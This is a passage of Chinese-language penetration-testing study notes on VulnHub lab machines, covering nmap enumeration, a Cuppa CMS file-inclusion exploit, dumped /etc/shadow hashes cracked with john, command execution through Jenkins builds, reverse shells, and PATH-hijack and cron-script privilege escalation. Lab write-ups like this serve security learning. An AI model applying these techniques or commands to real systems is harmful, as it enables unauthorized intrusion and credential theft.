cd /var/www/backup
clear
export TERM=xterm-color
./procwatch
# 下面这三步不太懂
ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch

学到的

  • sql注入前手工验证的必要性

观看视频后,发现自己在通过逻辑直接猜测存在sql注入后,然后直接用sqlmap跑,这是不够严谨的,应该先手工测试下,通过页面回显等信息确认sql语句确实被带入到数据库中执行时,简单测试是否能够获取到数据库版本号等基本信息后,接着才去用工具跑

  • 拿到一个加密字符串先不要急着破解,最好先识别清楚,便于减小破解难度

视频中,拿到一个大小写不敏感、由纯字母和数字组成的字符串(即上文一直想要破解的hash)时,可以先判断是否为base64,然后如果用echo -n 加密字符串 | base64 -d后的结果像hash值,可以用hash-identifier对上面命令后的结果再进行识别hash算法

w1r3s.v1.0

记录文件参考

nmap四扫结果

  • tcp详细扫:
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]                                                                    [0/13]
└─$ sudo nmap -sT -sV -sC -O -p21,22,80,3306 192.168.59.132 -oA nmapscan/tcpdetails                                 
[sudo] password for kali:                    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:48 EDT                         
Nmap scan report for 192.168.59.132          
Host is up (0.00076s latency).               

PORT     STATE SERVICE VERSION               
21/tcp   open  ftp     vsftpd 2.0.8 or later                                               
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                                     
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 content                          
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 docs                             
|_drwxr-xr-x    2 ftp      ftp          4096 Jan 28  2018 new-employees                    
| ftp-syst:                                  
|   STAT:                                    
| FTP server status:                         
|      Connected to ::ffff:192.168.59.131                                                  
|      Logged in as ftp                      
|      TYPE: ASCII                           
|      No session bandwidth limit            
|      Session timeout in seconds is 300                                                   
|      Control connection is plain text                                                    
|      Data connections will be plain text                                                 
|      At session startup, client count was 1                                              
|      vsFTPd 3.0.3 - secure, fast, stable                                                 
|_End of status                              
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)                                                                                                   
| ssh-hostkey:                               
|   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)                             
|   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)                            
|_  256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)                          
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))                                      
|_http-server-header: Apache/2.4.18 (Ubuntu)                                               
|_http-title: Apache2 Ubuntu Default Page: It works                                        
3306/tcp open  mysql   MySQL (unauthorized)                                                
MAC Address: 00:0C:29:72:B0:05 (VMware)                                                    
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port                                                                                 
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 3.13 - 3.16 (92%), Linux 4.4 (92%), Synology D
iskStation Manager 5.2-5644 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%)                
No exact OS matches for host (test conditions non-ideal).                                  
Network Distance: 1 hop                      
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel                   

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                 
Nmap done: 1 IP address (1 host up) scanned in 22.69 seconds                               

ftp允许匿名登录,先尝试连接ftp访问资源;然后再看80端口的web服务;如果ftp中泄露了凭据信息,先尝试连接ssh或者mysql

  • udp全端口:
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo nmap -sU -p- 192.168.59.132 -oA nmapscan/udports
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:49 EDT
Stats: 0:03:14 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 14.49% done; ETC: 22:11 (0:18:53 remaining)
Stats: 0:06:18 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 28.43% done; ETC: 22:11 (0:15:47 remaining)
Nmap scan report for 192.168.59.132
Host is up (0.00055s latency).
Not shown: 65534 open|filtered udp ports (no-response)
PORT     STATE  SERVICE
3306/udp closed mysql
MAC Address: 00:0C:29:72:B0:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 833.26 seconds

  • tcp漏扫:
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo nmap --script=vuln -p 21,22,80,3306 192.168.59.132 -oA nmapscan/tcpvuln
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 21:51 EDT
Stats: 0:01:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.21% done; ETC: 21:52 (0:00:01 remaining)
Nmap scan report for 192.168.59.132
Host is up (0.00060s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|_  /wordpress/wp-login.php: WordPress login page.
3306/tcp open  mysql
MAC Address: 00:0C:29:72:B0:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 323.71 seconds

web中扫到了一个可能可利用的cve,但根据描述来看是个DDOS类型的,显然在靶机中意义不大,故忽略

ftp下载到的文件分析

01.txt: New FTP Server For W1R3S.inc

表明这是一台新的ftp服务器

02.txt:

#
01ec2d8fc11c493b25029fb1f47f39ce                   
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
#

看起来像是base64编码,因为结尾有=且由字母数字组成,解码: 2024-06-17-10-22-00 价值不大

03.txt:

___________.__              __      __  ______________________   _________    .__                
\__    ___/|  |__   ____   /  \    /  \/_   \______   \_____  \ /   _____/    |__| ____   ____  
  |    |   |  |  \_/ __ \  \   \/\/   / |   ||       _/ _(__  < \_____  \     |  |/    \_/ ___\ 
  |    |   |   Y  \  ___/   \        /  |   ||    |   \/       \/        \    |  |   |  \  \___ 
  |____|   |___|  /\___  >   \__/\  /   |___||____|_  /______  /_______  / /\ |__|___|  /\___  >
                \/     \/         \/                \/       \/        \/  \/         \/     \/ 

employee-names.txt:

The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

2024-06-17-10-25-22

敏感凭据信息,尤其是前四位,权限和价值相对更高,先保存起来

worktodo.txt:

        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

初步观察后,判断第二段文字需上下翻转,第一段除了上下还需左右翻转 2024-06-17-10-37-58 这网站除了上下还可以左右翻转,最后得到的信息价值不大

另外,综合上述内容,多次出现了W1R3S.inc的多种变体,猜测是该公司的名字,有作为域名的可能性

web初探

刚进入是个apache默认静态页面: 2024-06-17-10-42-01 想到nmap漏扫中扫到wordpress登录页面,尝试访问: 2024-06-17-10-46-17 碰到登录框,一般先尝试弱口令,无果后才尝试sql注入、xss等其余方式。 然而不管输入什么凭据/点击忘记密码等选项,观察跳转的页面url发现被重定向到localhost: 2024-06-17-11-11-48 F12查看源代码,暴露出疑似wordpress的版本号以及部分目录结构信息(发现是wordpress默认的): 2024-06-17-11-39-29 然后就暂时没有什么有价值的信息了,接着尝试目录爆破试图发现更多潜在路径

目录爆破

┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ sudo gobuster dir -u http://192.168.59.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404   
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.59.132
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 320] [--> http://192.168.59.132/wordpress/]
/javascript           (Status: 301) [Size: 321] [--> http://192.168.59.132/javascript/]
/administrator        (Status: 301) [Size: 324] [--> http://192.168.59.132/administrator/]
/server-status        (Status: 403) [Size: 302]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

只有/administrator可以访问到: 2024-06-17-11-41-47 是个安装页面,点击下一步后来到了数据库安装配置页面,并且标题暴露了cms: 2024-06-17-11-59-01 接下来就要谨慎,如果这一操作会影响实际业务运行,就不能再往下了,并且我们还不知道数据库root账户,显然即使配置完也是无法正常进行。另外尝试填写完信息后返回了“管理员创建失败”。 至此,现在剩余的有价值信息就是暴露的Cuppa CMS

尝试利用公开漏洞

谷歌搜索或者msf搜索关于该cms的公开利用: 2024-06-17-12-12-41 将对应的exp25971下载下来:

msf6 > searchsploit -m 25971 
[*] exec: searchsploit -m 25971 

  Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
      URL: https://www.exploit-db.com/exploits/25971
     Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
    Codes: OSVDB-94101
 Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /1-20/w1r3s.v1.0/25971.txt

2024-06-17-13-55-00 2024-06-17-12-19-17 该exp表明可以利用文件包含漏洞读取系统敏感文件以及可以查看Configuration.php的源码,甚至可以实现RCE。存在漏洞的地方主要是在/alerts/alertConfigField.php的22行可以包含一个request请求方式的参数urlconfig。 首先我们先要确认根据该目录结构是否能访问到该接口:

由于我们是访问administrator作为根目录后才暴露出Cuppa-cms的,所以下面都在此根目录基础上做尝试,因为exp的示例是默认的目录结构 2024-06-17-12-29-11 可以,进一步尝试利用,根据示例的两行payload不断更换遍历结构尝试后皆无果。还注意到exp后半部分有个类似于上传路径的结构,尝试访问下/media/2024-06-17-13-37-35 其中有个文件存在管理员的凭据信息,保存好: 2024-06-17-13-40-31 至此,没有其他有价值信息。想到前面exp的利用并没有说基于cuppa的哪个版本利用成功的,可能目标与exp中cms的版本不同,因此可能可利用参数不同,可能文件名、参数提交方式也不同,由于查看源码等方式都没有暴露出当前cuppa的版本,因此再尝试去寻找cuppa的源码,找到与exp提到的存在漏洞路径,进行比较和再利用

尝试寻找源码并再次利用

直接从github上搜,定位到对应文件,然后搜索关键词include2024-06-17-14-11-37 2024-06-17-14-09-34 显然第二个include更贴近于exp中的,对比发现,两者可控参数是一样的,但是提交方式不同,说明原来在exp中尝试的get方式提交是行不通的,因此要尝试用post方式提交: 2024-06-17-14-26-24 利用成功,并且我们还注意到有个w1r3s用户且有家目录,并且还可以访问shadow文件做个记录:

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7::: games:*:17379:0:99999:7::: man:*:17379:0:99999:7::: lp:*:17379:0:99999:7::: mail:*:17379:0:99999:7::: news:*:17379:0:99999:7::: uucp:*:17379:0:99999:7::: proxy:*:17379:0:99999:7::: www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7::: backup:*:17379:0:99999:7::: list:*:17379:0:99999:7::: irc:*:17379:0:99999:7::: gnats:*:17379:0:99999:7::: nobody:*:17379:0:99999:7::: systemd-timesync:*:17379:0:99999:7::: systemd-network:*:17379:0:99999:7::: systemd-resolve:*:17379:0:99999:7::: systemd-bus-proxy:*:17379:0:99999:7::: syslog:*:17379:0:99999:7::: _apt:*:17379:0:99999:7::: messagebus:*:17379:0:99999:7::: uuidd:*:17379:0:99999:7::: lightdm:*:17379:0:99999:7::: whoopsie:*:17379:0:99999:7::: avahi-autoipd:*:17379:0:99999:7::: avahi:*:17379:0:99999:7::: dnsmasq:*:17379:0:99999:7::: colord:*:17379:0:99999:7::: speech-dispatcher:!:17379:0:99999:7::: hplip:*:17379:0:99999:7::: kernoops:*:17379:0:99999:7::: pulse:*:17379:0:99999:7::: rtkit:*:17379:0:99999:7::: saned:*:17379:0:99999:7::: usbmux:*:17379:0:99999:7::: w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7::: sshd:*:17554:0:99999:7::: ftp:*:17554:0:99999:7::: mysql:!:17554:0:99999:7:::

初想法是看看能不能利用文件包含写一个php马,但是一些常见的文件包含的php伪协议payload都无法奏效。

PS:到这里基本就卡住了,不知道该如何往下利用了

(视频提示)john破解/etc/shadow

果然经验太少了,看了靶机精讲视频后,原来我尝试读取的/etc/shadow是可以破解的,因为观察/etc/passwd发现每条用户数据的第二部分都是x,说明密码是以hash的方式存储在了shadow文件中,首先要把拿到的hash段做个筛选,只提取出存在hash值的用户,即root、www-data、w1r3s:

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7:::

www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

接下来继续独立解决,打算尝试用john破解hash,谷歌搜索到文章跟着利用:

┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ unshadow passwd.txt shadow.txt > unshadowed.txt
Created directory: /home/kali/.john
        
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ cat unshadowed.txt| tail -n 3
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:0:0:root:/root:/bin/bash
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:33:33:www-data:/var/www:/usr/sbin/nologin
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
        
┌──(kali㉿kali)-[/1-20/w1r3s.v1.0]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer         (w1r3s)  

获取到立足点

很快就破解出了用户w1r3s的密码,尝试用该凭据连接ssh,连上了。然后显然第一步是看看它所属组以及具有的权限等信息:

w1r3s@W1R3S:~$ id                                                           
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)                      
w1r3s@W1R3S:~$ sudo -l                                      
sudo: unable to resolve host W1R3S                                          
[sudo] password for w1r3s:                                                 
Sorry, try again.                            
[sudo] password for w1r3s:                                                 
Matching Defaults entries for w1r3s on W1R3S:                              
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                             
User w1r3s may run the following commands on W1R3S:                            
    (ALL : ALL) ALL                                   

可以发现该用户不仅是sudo组的成员,还可以执行所有命令,那就相当于是root了。

拿到最终root权限

尝试用sudo权限新建一个shell来验证,并访问/root下的内容,发现了flag: 2024-06-17-19-38-53

复盘总结

感觉这个靶机整体的渗透流程还是挺常规的,关键就在于跟着exp公开漏洞利用时不能思维定势,要想到目标和exp复现时的环境或者来源是不一样的,导致利用时可能很多地方存在差异,此时要尝试去寻找源码来比较。

学到的

  • 关于vsftpd

21运行ftp的vsftpd,有个d,是驻留服务,该特征表明很可能存在信息泄漏。

  • 漏扫别忽视ipv6

在分析漏扫结果寻找攻击面时,如果没有找到任何攻击面,我们不要忘了ipv6的地址,可以回过头尝试用ipv6扫描,或许有新的发现。

  • ftp下载前的习惯与细节

每次ftp登录后,有个习惯要养成,先输入binary进入二进制模式,防止下载二进制文件后是损坏的,这点非常关键;然后还有个小细节就是下载前可以输入prompt,关闭交互模式下的确认提示,防止每次下载文件时都要先确认。

  • 认识leetspeak命名方式的必要性

“W1R3S.inc”是一种leetspeak命名方式,最初是为了解决命名重复的问题,现在也是一种“耍酷”的文化,即用一些形似的字符来代替原来要表达的字符,上述还原后即wires,了解这种命名方式可以减少日后对一些名字的陌生感,并且更重要的是有时候可能作为有价值信息的一部分。

  • 工具判断加密/编码算法

在判断加密/编码字符串的算法时,如果凭借经验还无法判断时,可用工具如hash-identifier来识别或者丢到互联网中的一些网站识别;另外,如果是md5可以用以下命令验证:echo -n '明文' | md5sum 比对是否和原加密字符串一样,一样说明破解没问题。

  • 修改配置文件尝试解决重定向问题

前面当尝试突破/wordpress/wp-login.php登录页面时,发现不管是否输入密码或者点击其他功能,都重定向到localhost,此时还可以尝试将/etc/hosts文件中添加。 靶机ip localhost,虽然无果但这一定要想到。

  • 公开的exp中出现编码问题

exp中的末尾还写了一大串base64编码和base64解码信息,虽然不清楚什么意思,但是可以据此猜测,在实际利用时可能还需要对exp进行编码。

  • 看到/etc/passwd要想到是否能尝试爆破hash

如果能读取到/etc/passwd/etc/shadow,且/etc/passwd中几乎每条用户数据的第二部分都是x,可以尝试爆破hash拿到明文密码。

  • 获取立足点后如何查看具有的权限

可以用sudo -l来查看,如果是ALL,说明和管理员几乎没区别了。

  • ssh攻击面利用优先级问题

在实际渗透测试过程中,22端口一般可以尝试进行ssh爆破,一般先用hydra进行爆破。不过这种攻击方式考虑的优先级比较靠后,一般是实在没有什么思路或者进展不是很顺利的时候才尝试。

Jarbas

nmap四扫结果

  • tcp详细扫:
┌──(root㉿kali)-[/home/…/Desktop/redteamnotes_benchmark_1-20/vulnhub/Jarbas]
└─# nmap -sT -sV -sC -O -p22,80,3306,8080 192.168.59.143 -oA nmapscan/tcpdetails
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 04:43 EDT
Nmap scan report for 192.168.59.143
Host is up (0.00046s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Jarbas - O Seu Mordomo Virtual!
3306/tcp open  mysql   MariaDB (unauthorized)
8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry 
|_/
MAC Address: 00:0C:29:F1:63:97 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

80和8080的web服务优先考虑,80扫描到php和apache的版本号与操作系统,这很关键,尤其php5.x是存在过很多公开漏洞的,还有潜在危险方法TRACE;8080扫描到cms的banner以及robots文件。最后再尝试mysql,这里表明默认账户未能连接成功

  • udp全端口: 无结果。
  • tcp漏扫:
┌──(root㉿kali)-[/home/…/Desktop/redteamnotes_benchmark_1-20/vulnhub/Jarbas]                                                                                                        
└─# nmap --script=vuln -p22,80,3306,8080 192.168.59.143 -oA nmapscan/tcpvuln                                                                                                        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 04:55 EDT                                                                                                                  
Nmap scan report for 192.168.59.143                                                                                                                                                 
Host is up (0.00095s latency).                                                                                                                                                      
                                                                                                                                                                                    
PORT     STATE SERVICE                                                                                                                                                              
22/tcp   open  ssh                                                                                                                                                                  
80/tcp   open  http                                                                                                                                                                 
|_http-trace: TRACE is enabled                                                                                                                                                      
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.                                                                                                                    
| http-sql-injection:                                                                                                                                                               
|   Possible sqli for queries:                                                                                                                                                      
|     http://192.168.59.143:80/index_arquivos/?C=D%3BO%3DA%27%20OR%20sqlspider                                                                                                      
|     http://192.168.59.143:80/index_arquivos/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=M%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.59.143:80/index_arquivos/?C=S%3BO%3DA%27%20OR%20sqlspider
|_    http://192.168.59.143:80/index_arquivos/?C=N%3BO%3DA%27%20OR%20sqlspider
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.59.143
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.59.143:80/
|     Form id: wmtb
|     Form action: /web/submit
|     
|     Path: http://192.168.59.143:80/
|     Form id: 
|     Form action: /web/20020720170457/http://jarbas.com.br:80/user.php
|     
|     Path: http://192.168.59.143:80/
|     Form id: 
|_    Form action: /web/20020720170457/http://jarbas.com.br:80/busca/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
3306/tcp open  mysql
8080/tcp open  http-proxy
| http-enum: 
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:F1:63:97 (VMware)

尤其是80端口扫到了较多可尝试利用的漏洞,还有潜在有价值目录。

web初探

首先验证nmap中扫描到的潜在有价值信息。 查看robots: 2024-09-24-12-37-53 除了提到build链接外,其余无价值。

找到sql注入路径: 2024-09-24-12-46-05 index_arquivos是葡萄牙语,翻译过来就是文件索引。 通过逐个点击最上方的蓝色选项,可推理出这个C参数的作用就是筛选列,N、M、S、D分别是列的查询缩写;另外还有个O参数对应筛选的顺序;手工测试时无法判断是否存在注入。csrf同样无法判断。目录/icons也没有什么有价值的发现。

目录爆破

首先尝试目录爆破,尽可能多地先发现潜在脆弱点,而不是刚开始就直接手工测试网站各个功能点。刚开始可以用gobuster探测,如果没扫描出结果再尝试加额外参数,如指定特定后缀,一般常用的如php,html: 2024-09-30-10-36-23 重点关注新发现的额外文件。尝试访问access.html2024-09-30-10-37-35 暴露出一段有价值的加密凭据信息,看格式是username:hash,显然可以尝试用hashcat或john破解:

hash破解

先用hash-identifier识别出最有可能的算法是md5: 2024-09-30-10-50-29 信息处理: 2024-09-30-11-03-52 破解hash: 2024-09-30-11-12-40 但是破解的结果不尽人意,hashcat也一样,还可以尝试在线破解: 2024-09-30-11-41-34 同理进行信息处理并存储,显然下一步就是尝试这些凭据,访问8080端口,看起来像管理员后台,最后尝试用eder:vipsu登录成功: 2024-09-30-11-47-36 默认页面是搜索功能,搜索值传递给了参数q,继续尝试搜索其他关键词,还出现了陌生参数Jenkins-Crumb,查阅后发现是一种Jenkins的CSRF保护使用token。另外,这个场景类似于sql注入的探测,尝试多个payload后发现并没有起作用,无法判断是否存在注入。

接着看看还有哪些功能点是能够为我们建立攻击路径提供帮助的,首先在系统管理中,发现有很多功能都是我们非常感兴趣的,但由于风险较大,假设是实际环境中如果没有太大的把握暂时不要轻易尝试,但可以自己本地搭建相同版本的cms进行研究。先从基本风险较小的功能入手,比如新建任务2024-09-30-14-25-43 尝试构建自由风格的项目,看起来相对最简单,发现构建项目时可以执行cmd/shell命令,显然这里就是很有价值的攻击路径: 2024-09-30-15-13-21 点击应用后再立即构建,然后定位到该命令输出: 2024-09-30-15-14-21 命令执行成功。

(视频提示)反弹shell获取立足点

进一步尝试过程中,尝试过生成java类型的木马,通过该命令执行构建部分执行wget获取该木马,但由于java路由特性没能找到该木马,无法访问,即使用pwd知道了当前路径,最终无果。但经过视频提示后,发现原来还能够通过bash -i反弹shell,经验还是太少了。另外,发现在红队常用工具tscan中也能快速生成各种类型的反弹shell命令: 2024-09-30-17-25-22 执行: 2024-09-30-17-32-20 2024-09-30-17-32-31 2024-09-30-17-50-13

拿到最终root权限

接着,按照提权前的信息搜集基本流程,当对系统计划任务进行搜集时,发现root用户创建了一个计划任务,并且该计划任务对应执行脚本文件的权限设置问题,按理说不应该给其他用户组这么高的权限,这就导致我们可以尝试用该普通用户追加另一个反弹shell命令,导致最后反弹的shell就是root权限的,因为该任务的所有者是root,因此根据计划任务设定时间,5分钟后会反弹新的shell: 2024-10-02-17-00-22 2024-10-02-17-22-36

复盘总结

这台靶机整体偏容易,用到java中比较经典的cms,没有用公开poc,而是手工尝试从功能点中寻找漏洞,对于该cms,从这台靶机中要积累的是这种攻击路径(构建时可能存在RCE),据红笔师傅的话来说,这种利用方式很多时候都是百试不爽,以后遇到同样的cms,可以优先考虑这点。

学到的

  • 不要一见到cms就盲目寻找公开poc 首先要做的,应该是快速地以手工方式尝试各个功能点,根据经验和各功能可能提供的价值比重,尤其是可能可以命令执行的地方,都需要优先考虑和尝试。
  • bash直接反弹shell 反弹shell不是只有上传这一种方式,思维不要定势了,如果在某个功能点能够执行shell命令,就要优先去考虑是否能够直接通过bash或sh -i的方式直接反弹shell。

holynix

问题解决:找不到ip

综合一些参考文章以及这台靶机官方页面的评论,表明这台靶机是有问题的,把mac地址写死了,因此扫描不到它的ip,最终解决成功如下: 首先,kali和靶机的网络都设置为NAT(注意不是自定义中的VMnet8),然后选中靶机的网卡高级设置: 2024-10-02-18-43-22 将该mac地址修改为00:0C:29:BC:05:DE,注意是关机状态下再设置。

nmap四扫结果

  • tcp全端口扫:
Nmap scan report for 192.168.59.151 (192.168.59.151)
Host is up (0.0025s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)

只有一个80端口,无需考虑优先级。

  • tcp详细扫:
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
